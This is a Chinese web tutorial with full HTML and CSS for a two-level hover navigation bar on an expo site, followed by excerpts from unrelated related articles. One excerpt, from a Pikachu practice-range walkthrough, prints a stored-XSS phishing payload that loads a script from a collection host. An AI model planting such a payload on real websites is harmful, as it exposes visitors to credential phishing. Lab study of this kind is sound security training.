【html+css（大作业）】二级菜单导航栏
目录
实现效果
代码及其解释
html部分
CSS部分
hello，hello好久不见！
今天我们来写二级导航栏，所谓二级导航栏，简单来说就是鼠标放上去就有菜单拉出：
实现效果
代码及其解释
html部分
<!DOCTYPE html>
<html><head><link rel=" shortcut icon" type="image/x-icon" href="./img/图标1.jpg"><link rel="stylesheet" type="text/css" href="./css/首页.css"/><meta charset="utf-8" /><title>数博会官网</title></head><body><div class="navbar"><div class="nav"><ul><li></li><li></li><li></li><li><a href="#">首页</a><ol><li><a href="#">数博会介绍</a></li><li><a href="#">往届回顾</a></li><li><a href="#">精彩瞬间</a></li></ol></li><li><a href="#">新闻中心</a><ol><li><a href="#">头条新闻</a></li><li><a href="#">展会新闻</a></li><li><a href="#">行业新闻</a></li><li><a href="#">展商新闻</a></li></ol></li><li><a href="#">峰会论坛</a><ol><li><a href="#">大会日程</a></li><li><a href="#">高端对话</a></li><li><a href="#">专业论坛</a></li></ol></li><li><a href="#">展览会</a><ol> <li><a href="#">展会介绍</a></li><li><a href="#">展商名录</a></li><li><a href="#">展品列表</a></li><li><a href="#">展区分布</a></li></ol></li><li><a href="#">数博发布</a></li><li><a href="#">大赛</a></li><li><a href="#">观摩活动</a><ol> <li><a href="#">观摩活动介绍</a></li></ol></li><li class="aaa"><a href="#">数博电讯</a><ol> <li><a href="#">【数博2023】第十二期</a></li><li><a href="#">【数博2023】第十一期</a></li><li><a href="#">【数博2023】第十期</a></li><li><a href="#">【数博2023】第九期</a></li><li><a href="#">【数博2023】第八期</a></li><li><a href="#">【数博2023】第七期</a></li><li><a href="#">【数博2023】第六期</a></li><li><a href="#">【数博2023】第五期</a></li><li><a href="#">【数博2023】第四期</a></li><li><a href="#">【数博2023】第三期</a></li><li><a href="#">【数博2023】第二期</a></li><li><a href="#">【数博2023】第一期</a></li></ol></li><li><a href="#">资料下载</a></li><li><a href="#">联系我们</a><ol> <li><a href="#">联系方式</a></li><li><a href="#">组织机构</a></li><li><a href="#">隐私保护协议</a></li></ol></li><li></li><li class="underline"><!-- 这个元素用来定义滑动的线条 --></li></ul> </div></div><div class="bigimg"><img src="img/大作业/首页大一.jpg" ></div></body>
</html>
CSS部分
*{padding: 0;margin: 0;
}
body{width: 100%;}
li{list-style: none;
}
a{
text-decoration: none;color:#FFFFFF;
}
li ol a{color: darkblue;font-size: 12.5px;line-height: 70px;
}
li ol{text-align: center;
}
.aaa ol li a{font-size: 10px;
}
.navbar{float: left;width: 100%;height: 70px;background-color: #0D2654;background-color: rgba(0,0,0,0.3);/* 怎么感觉没用啊？ */box-shadow: 0px 0px 5px ;
}
/* 后代选择器 */
.navbar .nav{width: 100%;height: 100%;/* 让元素水平居中 */margin: 0 auto;
}
.navbar .nav ul{/* 相对定位 */position: relative;/* 弹性布局 */display: flex;/* 让子元素平均分配宽度 */justify-content: space-around;width: 100%;height: 100%;
}
/* 只对ul里的li起作用？ */
.navbar .nav ul>li{background-color: #0D2654;background: rgba(0,0,0,0.3);width: 100%;height: 100%;
}
/* 只对ul里的li里的a起作用 */
.navbar .nav ul>li>a{/* ? */display: block;width: 100%;height: 100%;line-height: 70px;text-align: center;
}
.navbar .nav ul>li ol{width: 100%;background-color: #FFFFFF;/* box-shadow: 1px 1px 3px; *//* 让盒子先沿着y轴缩放到0，也就是隐藏了 */transform: scaleY(0);/* 我们需要将盒子从上面滑动下来 设置一下缩放中心点即可 */transform-origin: 50% 0;/* 设置过渡 *//* transition: all 0.6s; */
}
.navbar .nav ul >li ol li{height: 70px;border-bottom: 1px solid rgb(245,245,245);
}
.navbar .nav ul>li ol li:hover{background-color: rgba(0,180,245,0.3);
}
.navbar .nav ul>li:hover ol{transform: scaleY(1);
}
.navbar .nav ul .underline{top: 50px;/* 绝对定位 */position: absolute;bottom: 0;/* 第一个条条距离最左边的距离 */left: 315px;width: 100px;/* 条高 */height: 2px;/* 设置圆角 */border-radius: 2px;background-color: white;/* 加上过渡 *//* transition: all 0.5s; *//* 不加了 */pointer-events: none;}.navbar .nav ul>li:nth-child(2):hover~ .underline{left: 315px;background-color:white;}.navbar .nav ul>li:nth-child(3):hover~ .underline{left: 315px;background-color: white;}.navbar .nav ul>li:nth-child(4):hover~ .underline{left: 315px;background-color: white;}.navbar .nav ul>li:nth-child(5):hover~ .underline{left: 425px;background-color:white;}.navbar .nav ul>li:nth-child(6):hover~ .underline{left: 525px;background-color: white;}.navbar .nav ul>li:nth-child(7):hover~ .underline{left: 635px;background-color:white;}.navbar .nav ul>li:nth-child(8):hover~ .underline{left: 735px;background-color: white;}.navbar .nav ul>li:nth-child(9):hover~ .underline{left: 840px;background-color:white;}.navbar .nav ul>li:nth-child(10):hover~ .underline{left: 945px;background-color: white;}.navbar .nav ul>li:nth-child(11):hover~ .underline{left: 1045px;background-color: white;}.navbar .nav ul>li:nth-child(12):hover~ .underline{left: 1150px;background-color:white;}.navbar .nav ul>li:nth-child(13):hover~ .underline{left: 1260px;background-color:white;}.navbar .nav ul>li:nth-child(14):hover~ .underline{left: 1260px;background-color:white;}.bigimg{float: left;margin-top: -70px;}img{width: 100%;}希望能帮到您！！，
我们下次见啦~~
相关文章：
【html+css（大作业）】二级菜单导航栏
目录 实现效果 代码及其解释 html部分 CSS部分 hello，hello好久不见！ 今天我们来写二级导航栏，所谓二级导航栏，简单来说就是鼠标放上去就有菜单拉出： 实现效果 代码及其解释 html部分 <!DOCTYPE html> &l…...
算法基础之集合-Nim游戏
集合-Nim游戏 核心思想： 博弈论 sg函数：在有向图游戏中,对于每个节点x,设从x出发共有k条有向边,分别到达节点y1,y2,yk,定义SG(x)的后记节点y1,y2,,yk的SG函数值构成的集合在执行mex运算的结果,即:SG(x)mex({SG(y1),SG(y2)SG(yk)}) **特别地,**整个有向图…...
Diffusion Model, Stable Diffusion, Stable Diffusion XL 详解
文章目录 Diffusion Model生成模型DDPM概述向前扩散过程前向扩散的逐步过程前向扩散的整体过程 反向去噪过程网络结构训练和推理过程训练过程推理过程优化目标 详细数学推导数学基础向前扩散过程反向去噪过程 Stable Diffusion组成结构运行流程网络结构变分自编码器 (VAE)文本编…...
智能奶柜：重塑牛奶零售新篇章
智能奶柜：重塑牛奶零售新篇章 回忆往昔，孩童时代对送奶员每日拜访的期待，那熟悉的一幕——新鲜牛奶被细心放置于家门口的奶箱中，成为了许多人温馨的童年记忆。如今，尽管直接投递袋装牛奶的情景已不多见，但…...
源代码防泄密--沙盒技术安全风险分析
将原本用于防护病毒木马的沙盒（沙箱）技术，运用于源代码防泄密领域，形成沙盒防泄密系统，是否安全可行？依据沙盒防泄密基本工作原理，可从安全模型、沙箱逃逸以及与进程相关性等多个角度࿰…...
韭菜收割项目
最近在玩股票，被人当成韭菜收割了一顿。高点追涨，第二天直接跌停。以为是低点，想抄底，结果别人直接抄家，血亏!!! 作为一个程序员，还是好好敲代码赚钱好了，一步一步。想不劳而获是不可能的。 我写…...
Unity3D输入事件
文章目录 前言一、全局事件二、射线三、点选3D模型四、点击地面控制人物移动总结 前言 Unity输入事件分为两类，全局触发和监听式触发。全局触发通常是运行在update在每帧进行检测，而监听式触发是被动的输入事件。 一、全局事件 在最新的unity中有新和旧…...
c++ thread detach
#include <thread> #include <iostream>using namespace std;void func() {cout << "子线程func开始执行！" << endl;//do somethingcout << "子线程func执行结束！" << endl; }int main() {cout…...
入门四认识HTML
目录 一、HTML介绍 1、Web前端三大核心技术 2、什么是HTML 3、Html标签 4、标签属性 二、HTML骨架标签 三、编写HTML工具 四、常用标签 1、注释 2、标题标签 3、段落标签 4、超链接标签 5、图片标签 6、换行与空格 7、布局标签 8、列表标签 9、表单…...
js怎么生成验证码？js生成指定长度的随机字符串
在项目中经常有生成随机字符串的需求，比如验证接口签名、验证码(Node.js发送短信或邮箱验证码、生成图片验证码)，我们可以使用Javascript生成随机字符。 使用随机数从给出的可能字符中抽取合并字符串 优点是可以自定义结果中字符的取值，比如…...
Python魔法之旅-魔法方法(01)
目录 一、概述 1、定义 2、作用 二、主要应用场景 1、构造和析构 2、操作符重载 3、字符串和表示 4、容器管理 5、可调用对象 6、上下文管理 7、属性访问和描述符 8、迭代器和生成器 9、数值类型 10、复制和序列化 11、自定义元类行为 12、自定义类行为 13、类…...
介绍下 npm 模块安装机制，为什么输入 npm install 就可以自动安装对应的模块
npm（Node Package Manager）模块安装机制是Node.js生态系统中非常重要的一部分，它允许开发者轻松管理和安装Node.js项目的依赖项。下面我将详细介绍npm模块的安装机制，以及为什么输入npm install就可以自动安装对应的模块。 npm模…...
vue2如何父组件 对象 双向绑定子组件
对于Vue 2，你不能直接用v-model绑定对象，但可以通过在子组件内部处理value prop的变化并触发input事件来模拟这一行为。 父组件A 1<template> 2 <ComponentB v-model"item" prop-names"addressId,date,startTime,endTime&quo…...
[Android]在后台线程执行耗时操作，然后在主线程更新UI
1.Coroutines（官方推荐） Coroutines 提供了一种轻量级的线程管理方式，使得在后台线程执行任务和在主线程更新 UI 变得简单。以下是如何在 Kotlin 中使用 Coroutines 来处理耗时逻辑并更新 UI 的步骤： 添加 Coroutines 依赖: 首…...
平方回文数-第13届蓝桥杯选拔赛Python真题精选
[导读]：超平老师的Scratch蓝桥杯真题解读系列在推出之后，受到了广大老师和家长的好评，非常感谢各位的认可和厚爱。作为回馈，超平老师计划推出《Python蓝桥杯真题解析100讲》，这是解读系列的第73讲。 平方回文数&#…...
 2D旋转位置编码)
位置编码(三) 2D旋转位置编码
Rotary Position Embedding for Vision Transformer https://arxiv.org/abs/2403.13298 Transformer升级之路：4、二维位置的旋转式位置编码 https://kexue.fm/archives/8397 Transformer升级之路：17、多模态位置编码的简单思考 https://kexue.fm/archive…...
1、pikachu靶场之xss钓鱼复现
一、复现过程 1、payload <script src"http://127.0.0.1/pkxss/xfish/fish.php"></script> 将这段代码插入到含有储存xss的网页上，如下留言板 2、此时恶意代码已经存入数据库，并存在网页中，当另一个用户打开这个网页…...
弘君资本炒股技巧：股票定向增发是什么意思？是好是坏？
股票定向增发是指已上市的公司向指定的组织或者个人投资者额外发行股份募集资金的融资方法，发行价格为发行前某一阶段的平均价的必定比例，增发的价格不得低于前二十个买卖日股票均价的80％。 例如，个股定增前二十个买卖股票平均价为…...
vue3项目使用pinia状态管理器----通俗易懂
1、首先安装pinia yarn add pinia # 或使用npm npm install pinia 2、在项目的src目录下新建store文件夹，然后store目录下新建index.js / index.ts ： 我这里是index,js import { createPinia } from "pinia"// 创建 Pinia 实例 const pinia …...
零基础学Java第二十五天之Lambda表达式
Lambda表达式 简介 Lambda是一个匿名函数(方法)， 允许把函数作为一个方法的参数 。利用Lambda表达式可以写出更简洁、更灵活的代码。作为一种更紧凑的代码风格，使Java的语言表达能力得到了提升。一般都是优化匿名内部类 基础语法 无参数、无返回值的抽…...
ISO 17387——解读自动驾驶相关标准法规（LCDAS）
Intelligent transport systems — Lane change decision aid systems (LCDAS) — Performance requirements and test procedures(First edition: 2008-05-01) 原文链接：https://cdn.standards.iteh.ai/samples/43654/701fd49bde7b4d3db165444b7c6f0c53/ISO-17387…...
vite配置@别名，以及如何让IDE智能提示路经
1.配置路径(vite.config.js) // vite.config.js import { defineConfig } from "vite"; import vue from "vitejs/plugin-vue"; import path from "path";// https://vite.dev/config/ export default defineConfig({server: {port: 8080,},plu…...
协程的常用阻塞函数
以下是一些常见的阻塞函数示例： 1. **Thread.sleep()** 阻塞当前线程一段时间。 kotlin Thread.sleep(1000) // 阻塞线程 1 秒 2. **InputStream.read()** 从输入流中读取数据时会阻塞，直到有数据可用或流结束。 kotlin val inputStream FileInputStre…...
Svelte 核心语法详解：Vue/React 开发者如何快速上手？
在很多地方早就听到过svelte的大名了，不少工具都有针对svelte的配置插件，比如vite \ unocss \ svelte. 虽然还没使用过，但是发现它的star82.9k数很高哦，学习一下它与众不同的魔法。 这名字有点别扭，好几次都写错。 sve…...
二叉树的遍历总结
144.二叉树的前序遍历(opens new window)145.二叉树的后序遍历(opens new window)94.二叉树的中序遍历 二叉数的先中后序统一遍历法 public static void preOrder(BiTree root){BiTree p root;LinkedList<BiTree> stack new LinkedList<>();while(p ! null ||…...
PHP：Web 开发的强大基石与未来展望
在当今数字化时代，Web 开发技术日新月异，各种编程语言和框架层出不穷。然而，PHP 作为一种历史悠久且广泛应用的服务器端脚本语言，依然在 Web 开发领域占据着重要地位。 PHP 的历史与现状 PHP（Hypertext Preprocessor…...
5.Nginx+Tomcat负载均衡群集
Tomcat服务器应用场景：tomcat服务器是一个免费的开放源代码的Web应用服务器，属于轻量级应用服务器，在中小型系统和并发访问用户不是很多的场合下被普遍使用，是开发和调试JSP程序的首选。一般来说，Tomcat虽然和Apache或…...
SSIM、PSNR、LPIPS、MUSIQ、NRQM、NIQE 六个图像质量评估指标
评价指标 1. SSIM（Structural Similarity Index） 📌 定义 结构相似性指数（Structural Similarality Index）是一种衡量两幅图像相似性的指标，考虑了亮度、对比度和结构信息的相似性，比传统的 P…...
固态继电器与驱动隔离器：电力系统的守护者
在电力系统中， 固态继电器合驱动隔离器像两位“电力守护神”，默默地确保电力设备的安全与稳定运行。它们通过高效、可靠的性能，保障了电力设备在各种环境下的正常工作。 固态继电器是电力控制中的关键组成部分，利用半导体器件来实…...
Profinet 协议 IO-Link 主站网关（三格电子）
一、产品概述 1.1 产品用途 SG-PN-IOL-8A-001 网关是 Profinet 从转 IO-Link 主的网关设备 ，可以将 IO-Link 从站设备接入 Profinet 系统，通过该网关可实现传感器及驱动器与控制 器之间的信息交互。网关有两个百兆网口和 8 个 IO-Link 端口，两…...